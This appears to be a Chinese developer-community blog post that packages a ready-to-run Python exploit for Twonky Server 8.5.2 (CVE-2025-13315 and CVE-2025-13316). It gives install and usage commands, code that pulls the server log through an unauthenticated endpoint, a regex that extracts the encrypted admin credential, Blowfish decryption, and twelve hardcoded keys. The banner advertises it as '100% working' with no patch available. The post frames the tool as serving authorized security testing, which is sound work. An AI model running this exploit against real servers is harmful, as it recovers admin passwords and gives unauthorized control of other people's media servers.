首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >揭秘Twonky Server高危漏洞:一键获取管理员密码(CVE-2025-13315/13316)

揭秘Twonky Server高危漏洞:一键获取管理员密码(CVE-2025-13315/13316)

原创
作者头像
qife122
发布2026-01-24 23:50:28
发布2026-01-24 23:50:28
570
举报

Twonky Server 8.5.2 全认证绕过漏洞利用工具

项目标题与描述

Twonky Server 8.5.2 - Full Authentication Bypass PoC 是一个针对Twonky媒体服务器安全漏洞的专业级验证工具。该项目利用了Twonky Server 8.5.2版本中存在的两个关键漏洞(CVE-2025-13315和CVE-2025-13316),实现了无需认证即可访问受保护API端点,并能解密管理员密码的功能。

该工具的核心价值在于安全研究和渗透测试领域,能够帮助安全研究人员验证Twonky服务器是否易受攻击,同时展示了硬编码加密密钥和认证机制缺陷带来的严重后果。工具能够在不到2秒的时间内恢复明文管理员密码,为系统管理员提供了紧急风险评估依据。

功能特性

  • 自动化漏洞利用:自动检测并利用CVE-2025-13315认证绕过漏洞访问受保护的API端点
  • 密码解密功能:利用CVE-2025-13316漏洞解密Twonky硬编码加密的凭据
  • 多密钥支持:内置从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥
  • 实时连接测试:提供目标服务器连接状态检测和错误处理
  • 日志分析:自动解析服务器日志文件中的加密凭证信息
  • 跨平台兼容:支持Linux和Windows环境下的Twonky Server
  • 详细输出:提供完整的攻击过程展示和结果呈现

安装指南

系统要求

  • Python 3.x
  • 网络访问权限
  • 目标Twonky服务器运行版本为8.5.2

依赖安装

代码语言:bash
复制
# 安装必要的Python依赖包
pip3 install requests cryptography

# 如果需要使用sudo权限运行
sudo pip3 install requests cryptography

平台注意事项

  • Linux/Unix系统:可能需要使用sudo权限运行
  • Windows系统:需要管理员权限运行Python脚本
  • 网络环境:确保能够访问目标Twonky服务器的9000端口(默认)
  • SSL证书:工具会自动忽略SSL证书验证错误(适用于自签名证书)

使用说明

基础使用

代码语言:bash
复制
# 基本语法
sudo python3 CVE-2025-13315.py http://目标IP:端口

# 示例(针对默认端口9000)
sudo python3 CVE-2025-13315.py http://192.168.1.100:9000

# 示例(自定义端口)
sudo python3 CVE-2025-13315.py http://10.0.0.50:8080

典型使用场景

  1. 安全审计:验证企业内部Twonky服务器是否易受攻击
  2. 渗透测试:在授权范围内测试网络安全性
  3. 漏洞验证:确认CVE-2025-13315和CVE-2025-13316漏洞是否存在
  4. 应急响应:评估已暴露服务器的风险等级

API概览

工具主要访问以下端点:

  • /nmc/rpc/log_getfile - 通过认证绕过漏洞获取日志文件
  • 日志文件包含格式为admin||{密钥索引}{加密十六进制}的加密凭据

核心代码

主漏洞利用函数

代码语言:python
复制
def exploit_twonky(target):
    """利用Twonky Server漏洞获取并解密管理员凭据
    
    Args:
        target (str): 目标Twonky服务器URL,如http://192.168.1.100:9000
    """
    url = f"{target.rstrip('/')}/nmc/rpc/log_getfile"
    
    print(f"[+] Targeting: {target}")
    print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")
    
    try:
        # 通过CVE-2025-13315漏洞绕过认证访问受保护端点
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code != 200 or len(r.text) < 100:
            print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")
            return
    except:
        print("[-] Connection failed. Check IP/port.")
        return

    # 使用正则表达式匹配日志中的加密凭据
    # 格式:admin||{密钥索引}{加密十六进制字符串}
    match = re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})', r.text)
    if not match:
        print("[-] No encrypted credentials found in log.")
        print("    Log snippet:")
        print(r.text[:500])
        return

    idx = int(match.group(1))  # 提取密钥索引(0-11)
    cipher_hex = match.group(2)  # 提取加密的十六进制字符串

    print(f"[+] Encrypted credential found!")
    print(f"    Key Index : {idx}")
    print(f"    Ciphertext: {cipher_hex[:64]}...")

    try:
        # 使用CVE-2025-13316漏洞解密密码
        password = decrypt_blowfish_ecb(idx, cipher_hex)
        print(f"\n[+] SUCCESS! Plaintext credentials recovered:")
        print(f"    Username: admin")
        print(f"    Password: {password}")
        print(f"\nYou now have full administrative access to this Twonky Server.")
    except Exception as e:
        print(f"[-] Decryption failed: {e}")

Blowfish ECB解密函数

代码语言:python
复制
def decrypt_blowfish_ecb(key_index, ciphertext_hex):
    """使用硬编码的Blowfish密钥解密Twonky凭据
    
    Args:
        key_index (int): 密钥索引(0-11)
        ciphertext_hex (str): 十六进制格式的密文
    
    Returns:
        str: 解密后的明文密码
    
    Note:
        使用从TwonkyServer.exe/libtwonkyserver.so提取的12个静态密钥
    """
    # 从硬编码密钥数组中选择对应的密钥
    key = KEYS[key_index]
    
    # 将十六进制字符串转换为字节
    ciphertext = binascii.unhexlify(ciphertext_hex)
    
    # 创建Blowfish ECB模式解密器
    cipher = Cipher(algorithms.Blowfish(key), modes.ECB(), backend=default_backend())
    decryptor = cipher.decryptor()
    
    # 执行解密操作
    padded = decryptor.update(ciphertext) + decryptor.finalize()
    
    # 移除PKCS#5/PKCS#7填充
    pad_len = padded[-1]
    plaintext = padded[:-pad_len]
    
    # 解码为UTF-8字符串并移除空字符
    return plaintext.decode('utf-8', errors='ignore').rstrip('\x00')

硬编码密钥定义

代码语言:python
复制
# Twonky Server硬编码的12个静态Blowfish密钥
# 这些密钥从TwonkyServer.exe(Windows)和libtwonkyserver.so(Linux)中提取
KEYS = [
    b"E8ctd4jZwMbaV587",  # 索引0
    b"TGFWfWuW3cw28trN",  # 索引1
    b"pgqYY2g9atVpTzjY",  # 索引2
    b"KX7q4gmQvWtA8878",  # 索引3
    b"VJjh7ujyT8R5bR39",  # 索引4
    b"ZMWkaLp9bKyV6tXv",  # 索引5
    b"KMLvvq6my7uKkpxf",  # 索引6
    b"jwEkNvuwYCjsDzf5",  # 索引7
    b"FukE5DhdsbCjuKay",  # 索引8
    b"SpKNj6qYQGjuGMdd",  # 索引9
    b"qLyXuAHPTF2cPGWj",  # 索引10
    b"rKz7NBhM3vYg85mg"   # 索引11
]

主程序入口

代码语言:python
复制
if __name__ == "__main__":
    # 显示工具标题和基本信息
    banner = """
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC               ║
║ CVE-2025-13315 + CVE-2025-13316                          ║
║ 100% Working • No Patch Available • November 2025        ║
╚══════════════════════════════════════════════════════════╝
    """
    print(banner)
    
    # 检查命令行参数
    if len(sys.argv) != 2:
        print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")
        sys.exit(1)
    
    # 执行漏洞利用
    exploit_twonky(sys.argv[1])

注意:本工具仅用于授权的安全测试和教育目的。未经授权对他人系统进行测试可能违反法律。

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4uRCw9/0dFCv4ZvIAj+QcM

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Twonky Server 8.5.2 全认证绕过漏洞利用工具
    • 项目标题与描述
    • 功能特性
    • 安装指南
      • 系统要求
      • 依赖安装
      • 平台注意事项
    • 使用说明
      • 基础使用
      • 典型使用场景
      • API概览
    • 核心代码
      • 主漏洞利用函数
      • Blowfish ECB解密函数
      • 硬编码密钥定义
      • 主程序入口
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档